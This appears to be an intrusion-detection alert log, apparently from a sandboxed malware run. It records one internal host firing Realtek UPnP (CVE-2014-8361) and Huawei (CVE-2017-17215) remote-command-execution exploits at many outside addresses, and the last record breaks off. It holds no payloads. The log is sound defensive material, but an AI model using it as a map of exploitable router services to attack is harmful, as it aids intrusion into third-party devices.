ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 72.122.103.48

Timestamp:	07/20/24-23:02:08.319876
SID:	2025132
Source Port:	45580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 152.136.236.137

Timestamp:	07/20/24-23:01:08.595072
SID:	2831300
Source Port:	52900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.201.119.160

Timestamp:	07/20/24-23:01:42.790558
SID:	2027339
Source Port:	47720
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.17.28.211

Timestamp:	07/20/24-23:01:40.310207
SID:	2835222
Source Port:	33310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 205.29.56.156

Timestamp:	07/20/24-23:01:08.655109
SID:	2831300
Source Port:	40878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.233.238.80

Timestamp:	07/20/24-23:01:51.067695
SID:	2027339
Source Port:	38648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.65.211.106

Timestamp:	07/20/24-23:02:10.113046
SID:	2027339
Source Port:	47232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.161.254.133

Timestamp:	07/20/24-23:01:41.260371
SID:	2025132
Source Port:	47304
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.243.121.184

Timestamp:	07/20/24-23:01:51.290014
SID:	2027339
Source Port:	41124
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.83.227.139

Timestamp:	07/20/24-23:01:43.158919
SID:	2025132
Source Port:	52984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.203.103.36

Timestamp:	07/20/24-23:01:50.280308
SID:	2027339
Source Port:	37410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 139.92.32.15

Timestamp:	07/20/24-23:01:47.141323
SID:	2831300
Source Port:	51316
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.58.232.126

Timestamp:	07/20/24-23:01:53.175676
SID:	2027339
Source Port:	42312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 148.112.106.138

Timestamp:	07/20/24-23:01:47.663629
SID:	2025132
Source Port:	36982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.168.204.140

Timestamp:	07/20/24-23:01:34.043842
SID:	2835222
Source Port:	51620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.189.59.211

Timestamp:	07/20/24-23:01:04.082384
SID:	2829579
Source Port:	52598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.250.222.179

Timestamp:	07/20/24-23:01:20.152427
SID:	2835222
Source Port:	44034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.13.209.238

Timestamp:	07/20/24-23:01:42.501090
SID:	2027339
Source Port:	35970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.226.32.12

Timestamp:	07/20/24-23:02:14.650164
SID:	2025132
Source Port:	35728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.176.193.82

Timestamp:	07/20/24-23:01:08.597662
SID:	2027339
Source Port:	50536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.0.250.177

Timestamp:	07/20/24-23:01:20.119973
SID:	2835222
Source Port:	53292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.225.20.24

Timestamp:	07/20/24-23:01:54.880741
SID:	2025132
Source Port:	52238
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.185.185.234

Timestamp:	07/20/24-23:01:40.331150
SID:	2829579
Source Port:	36904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.189.118.114

Timestamp:	07/20/24-23:01:43.239928
SID:	2025132
Source Port:	46322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.218.184.30

Timestamp:	07/20/24-23:00:59.153608
SID:	2835222
Source Port:	33028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.148.184.251

Timestamp:	07/20/24-23:01:27.664887
SID:	2835222
Source Port:	38260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.204.114.80

Timestamp:	07/20/24-23:02:11.630112
SID:	2027339
Source Port:	50674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.64.207.91

Timestamp:	07/20/24-23:01:42.486621
SID:	2027339
Source Port:	33156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.65.88.44

Timestamp:	07/20/24-23:01:54.796749
SID:	2027339
Source Port:	37158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.26.245.187

Timestamp:	07/20/24-23:01:41.217142
SID:	2027339
Source Port:	33120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.198.81.69

Timestamp:	07/20/24-23:01:00.641498
SID:	2829579
Source Port:	59564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.110.210.1

Timestamp:	07/20/24-23:01:41.496780
SID:	2025132
Source Port:	49224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 69.23.248.153

Timestamp:	07/20/24-23:01:42.687128
SID:	2831300
Source Port:	38254
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 36.6.60.249

Timestamp:	07/20/24-23:01:27.655551
SID:	2835222
Source Port:	37006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.191.160.62

Timestamp:	07/20/24-23:02:10.069241
SID:	2027339
Source Port:	37284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.220.3.30

Timestamp:	07/20/24-23:01:08.614193
SID:	2027339
Source Port:	40086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.163.104.51

Timestamp:	07/20/24-23:01:27.649697
SID:	2829579
Source Port:	58516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 217.106.167.57

Timestamp:	07/20/24-23:01:10.675827
SID:	2025132
Source Port:	40854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 148.216.25.247

Timestamp:	07/20/24-23:01:45.610865
SID:	2831300
Source Port:	35466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.119.169.7

Timestamp:	07/20/24-23:01:47.808098
SID:	2025132
Source Port:	34120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.25.182.143

Timestamp:	07/20/24-23:01:47.873078
SID:	2027339
Source Port:	51952
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 134.205.144.234

Timestamp:	07/20/24-23:01:34.053061
SID:	2829579
Source Port:	36910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.25.113.161

Timestamp:	07/20/24-23:01:14.111381
SID:	2835222
Source Port:	33172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.223.163.108

Timestamp:	07/20/24-23:01:43.203681
SID:	2027339
Source Port:	42714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.94.134.229

Timestamp:	07/20/24-23:01:43.855231
SID:	2025132
Source Port:	42296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.217.202.87

Timestamp:	07/20/24-23:01:24.876750
SID:	2829579
Source Port:	45666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.90.91.204

Timestamp:	07/20/24-23:01:25.342792
SID:	2027339
Source Port:	58658
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.217.190.133

Timestamp:	07/20/24-23:01:31.321189
SID:	2027339
Source Port:	48790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.205.235.41

Timestamp:	07/20/24-23:01:46.261793
SID:	2027339
Source Port:	53988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.31.200.232

Timestamp:	07/20/24-23:01:08.620788
SID:	2027339
Source Port:	39266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 62.96.8.174

Timestamp:	07/20/24-23:01:07.026812
SID:	2835222
Source Port:	57606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 183.223.8.125

Timestamp:	07/20/24-23:01:43.938688
SID:	2025132
Source Port:	37094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.254.34.7

Timestamp:	07/20/24-23:01:02.144931
SID:	2025132
Source Port:	51696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.32.95.217

Timestamp:	07/20/24-23:01:48.970191
SID:	2027339
Source Port:	34126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.55.203.85

Timestamp:	07/20/24-23:01:08.619597
SID:	2027339
Source Port:	34266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.102.84.222

Timestamp:	07/20/24-23:02:02.537098
SID:	2027339
Source Port:	54690
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.205.238.167

Timestamp:	07/20/24-23:01:02.139489
SID:	2025132
Source Port:	52264
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.103.165

Timestamp:	07/20/24-23:01:07.066373
SID:	2835222
Source Port:	40494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.224.149.155

Timestamp:	07/20/24-23:01:46.225146
SID:	2027339
Source Port:	36688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.232.225.145

Timestamp:	07/20/24-23:01:04.050503
SID:	2835222
Source Port:	60850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.177.238.243

Timestamp:	07/20/24-23:01:42.631864
SID:	2027339
Source Port:	47372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.24.24.246

Timestamp:	07/20/24-23:00:59.157444
SID:	2829579
Source Port:	39010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 68.175.73.118

Timestamp:	07/20/24-23:01:42.104533
SID:	2831300
Source Port:	51844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.86.102.204

Timestamp:	07/20/24-23:01:42.944341
SID:	2027339
Source Port:	55426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.144.205.165

Timestamp:	07/20/24-23:01:42.966322
SID:	2025132
Source Port:	51252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.66.238.102

Timestamp:	07/20/24-23:00:57.220999
SID:	2829579
Source Port:	41094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 216.40.91.1

Timestamp:	07/20/24-23:00:59.172943
SID:	2835222
Source Port:	39662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 13.40.75.19

Timestamp:	07/20/24-23:01:11.636599
SID:	2835222
Source Port:	59270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.145.129.242

Timestamp:	07/20/24-23:01:44.469580
SID:	2027339
Source Port:	58956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 81.110.138.235

Timestamp:	07/20/24-23:01:52.582295
SID:	2831300
Source Port:	35552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.69.12

Timestamp:	07/20/24-23:01:24.910426
SID:	2829579
Source Port:	33084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 193.15.215.48

Timestamp:	07/20/24-23:01:41.383466
SID:	2027339
Source Port:	35130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.201.238.135

Timestamp:	07/20/24-23:01:51.968363
SID:	2027339
Source Port:	37256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.29.108.54

Timestamp:	07/20/24-23:01:02.059312
SID:	2829579
Source Port:	50708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 101.157.175.20

Timestamp:	07/20/24-23:01:43.030153
SID:	2027339
Source Port:	40604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 164.251.43.137

Timestamp:	07/20/24-23:01:04.977217
SID:	2025132
Source Port:	59800
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 217.141.116.135

Timestamp:	07/20/24-23:01:43.965131
SID:	2831300
Source Port:	34594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 170.150.191.157

Timestamp:	07/20/24-23:01:20.152427
SID:	2829579
Source Port:	41810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 54.140.169.156

Timestamp:	07/20/24-23:01:41.567823
SID:	2831300
Source Port:	53212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.92.88.25

Timestamp:	07/20/24-23:01:53.675171
SID:	2027339
Source Port:	53096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.243.29.19

Timestamp:	07/20/24-23:01:31.976984
SID:	2835222
Source Port:	59422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.138.137.217

Timestamp:	07/20/24-23:00:57.221790
SID:	2829579
Source Port:	56808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.159.149.17

Timestamp:	07/20/24-23:01:41.156801
SID:	2025132
Source Port:	44846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.5.129.59

Timestamp:	07/20/24-23:01:20.161614
SID:	2829579
Source Port:	50580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.141.197.116

Timestamp:	07/20/24-23:01:34.050672
SID:	2829579
Source Port:	39532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 88.161.89.160

Timestamp:	07/20/24-23:01:44.520226
SID:	2025132
Source Port:	52620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.219.128.2

Timestamp:	07/20/24-23:01:02.064358
SID:	2835222
Source Port:	34402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 134.167.171.74

Timestamp:	07/20/24-23:01:08.667513
SID:	2027339
Source Port:	37132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.19.208.214

Timestamp:	07/20/24-23:01:34.044223
SID:	2829579
Source Port:	50138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.30.15.103

Timestamp:	07/20/24-23:00:57.221220
SID:	2835222
Source Port:	47068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.90.83.142

Timestamp:	07/20/24-23:01:00.638418
SID:	2835222
Source Port:	38424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 25.194.48.207

Timestamp:	07/20/24-23:01:47.856443
SID:	2831300
Source Port:	41204
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.166.185

Timestamp:	07/20/24-23:01:21.936545
SID:	2835222
Source Port:	53604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 188.173.105.15

Timestamp:	07/20/24-23:01:24.715800
SID:	2025132
Source Port:	55868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 177.181.36.106

Timestamp:	07/20/24-23:01:25.656173
SID:	2025132
Source Port:	47368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 77.157.20.139

Timestamp:	07/20/24-23:01:31.312234
SID:	2831300
Source Port:	47832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 107.137.22.219

Timestamp:	07/20/24-23:01:47.042994
SID:	2831300
Source Port:	49708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 68.106.199.227

Timestamp:	07/20/24-23:01:49.553792
SID:	2831300
Source Port:	35074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.112.222.157

Timestamp:	07/20/24-23:00:59.185032
SID:	2829579
Source Port:	35748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.215.81.142

